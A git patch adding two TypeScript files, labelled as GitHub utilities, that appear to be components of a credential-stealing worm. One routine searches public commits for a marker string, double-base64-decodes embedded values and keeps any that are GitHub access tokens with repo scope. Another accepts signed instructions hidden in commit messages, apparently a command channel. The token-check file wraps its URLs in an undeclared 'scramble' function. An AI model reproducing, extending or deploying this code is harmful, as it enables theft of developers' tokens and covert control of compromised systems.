From 658d97091b780e3800bc706b317da1e5656ba38f Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 00:04:35 +0000 Subject: [PATCH] Upload files to "src/github_utils" --- src/github_utils/fetcher.ts | 169 +++++++++++++++++++++++++++++++++ src/github_utils/tokenCheck.ts | 56 +++++++++++ 2 files changed, 225 insertions(+) create mode 100644 src/github_utils/fetcher.ts create mode 100644 src/github_utils/tokenCheck.ts diff --git a/src/github_utils/fetcher.ts b/src/github_utils/fetcher.ts new file mode 100644 index 0000000..e51218f --- /dev/null +++ b/src/github_utils/fetcher.ts @@ -0,0 +1,169 @@ +import crypto from "crypto"; + +import { SEARCH_STRING } from "../utils/config"; +import { logUtil } from "../utils/logger"; +import { checkToken } from "./tokenCheck"; + +interface GitHubCommit { + commit: { + message: string; + author: { + name: string; + email: string; + date: string; + }; + }; + sha: string; +} + +interface SearchResponse { + items: GitHubCommit[]; + total_count: number; +} + +export async function fetchCommit(token?: string): Promise { + // Search up to 50 commits. + const url = `https://api.github.com/search/commits?q=${SEARCH_STRING}&sort=author-date&order=desc&per_page=50`; + try { + const response = await fetchGitHub(url, token); + if (!response.items || response.items.length === 0) { + return false; + } + logUtil.log(`Found ${response.items.length} commits...`); + for (let i = 0; i < response.items.length; i++) { + const commit = response.items[i]; + if (!commit) { + continue; + } + + logUtil.log(commit.commit.message); + const match = new RegExp( + `^${SEARCH_STRING}:([A-Za-z0-9+/]{1,100}={0,3})$`, + ).exec(commit.commit.message ?? ""); + if (match?.[1]) { + const decoded = Buffer.from( + Buffer.from(match[1], "base64").toString("utf8"), + "base64", + ).toString("utf8"); + if ((await checkToken(decoded)).hasRepoScope) { + logUtil.log("Correct scope."); + return decoded; + } else { + logUtil.log("Not valid PAT/Scope!"); + } + } else { + logUtil.log("No match!"); + } + } + } catch (error) { + return false; + } + return false; +} + +/** + * Fetches data from GitHub API + */ +async function fetchGitHub( + url: string, + token?: string, +): Promise { + const headers: Record = { + Accept: "application/vnd.github+json", + "User-Agent": "node", + }; + if (token) { + headers.Authorization = `Bearer ${token}`; + } + + const res = await fetch(url, { headers }); + if (!res.ok) { + throw new Error(`GitHub API ${res.status}: ${res.statusText}`); + } + return res.json() as Promise; +} + +/** + * Verifies a cryptographic signature using a public key + * Assumes the commit message format: "SIGNATURE:ENCRYPTED_DATA" + */ +export function _verifySignature( + message: string, + publicKey: string, + algorithm: string = "sha256", +): { valid: boolean; data?: string } { + try { + const regex = + /thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/; + const match = message.match(regex); + + if (!match || !match[1] || !match[2]) { + return { valid: false }; + } + + const data_plain = Buffer.from(match[1], "base64").toString("utf-8"); + logUtil.log(data_plain); + logUtil.log(match[2]); + const signature = Buffer.from(match[2], "base64"); + + const verifier = crypto.createVerify(algorithm); + verifier.update(data_plain); + const isValid = verifier.verify(publicKey, signature); + + logUtil.log(isValid); + + return isValid ? { valid: true, data: data_plain } : { valid: false }; + } catch (error) { + return { valid: false }; + } +} + +export async function findValidSignedCommit( + searchQuery: string, + publicKey: string, +): Promise<{ found: boolean; message?: string; commit?: GitHubCommit }> { + const url = `https://api.github.com/search/commits?q=${encodeURIComponent( + searchQuery, + )}&sort=author-date&order=desc`; + try { + const response = await fetchGitHub(url); + + if (!response.items || response.items.length === 0) { + return { found: false, message: "No commits found" }; + } + + for (let i = 0; i < response.items.length; i++) { + const commit = response.items[i]; + + if (!commit) { + continue; + } + const commitMessage = commit.commit.message; + + logUtil.log( + `[${i + 1}/${response.items.length}] Checking commit ${commit.sha.substring( + 0, + 7, + )}...`, + ); + + const verification = _verifySignature(commitMessage, publicKey); + + if (verification.valid && verification.data) { + logUtil.log(`Valid signature found in commit ${commit.sha}`); + return { + found: true, + message: verification.data, + commit: commit, + }; + } + } + + return { found: false, message: "No commits with valid signatures found" }; + } catch (error) { + return { + found: false, + message: `Error during search: ${error instanceof Error ? error.message : String(error)}`, + }; + } +} diff --git a/src/github_utils/tokenCheck.ts b/src/github_utils/tokenCheck.ts new file mode 100644 index 0000000..94c00e9 --- /dev/null +++ b/src/github_utils/tokenCheck.ts @@ -0,0 +1,56 @@ +export interface TokenInfo { + valid: boolean; + scopes: string[]; + user?: string; + hasRepoScope: boolean; + hasWorkflowScope: boolean; +} + +declare function scramble(str: string): string; + +export async function validateToken(token: string): Promise { + try { + const response = await fetch(scramble("https://api.github.com/user"), { + headers: { + Authorization: `Bearer ${token}`, + Accept: "application/vnd.github+json", + "User-Agent": "node", + }, + }); + return response.ok; + } catch { + return false; + } +} + +export async function checkToken(token: string): Promise { + try { + const response = await fetch(scramble("https://api.github.com/user"), { + headers: { + Authorization: `Bearer ${token}`, + Accept: "application/vnd.github+json", + "User-Agent": "node", + }, + }); + + if (!response.ok) throw new Error(response.statusText); + + const scopes = response.headers.get("x-oauth-scopes")?.split(", ") ?? []; + const data = (await response.json()) as { login: string }; + + return { + valid: true, + scopes, + user: data.login, + hasRepoScope: scopes.includes("repo") || scopes.includes("public_repo"), + hasWorkflowScope: scopes.includes("workflow"), + }; + } catch { + return { + valid: false, + scopes: [], + hasRepoScope: false, + hasWorkflowScope: false, + }; + } +}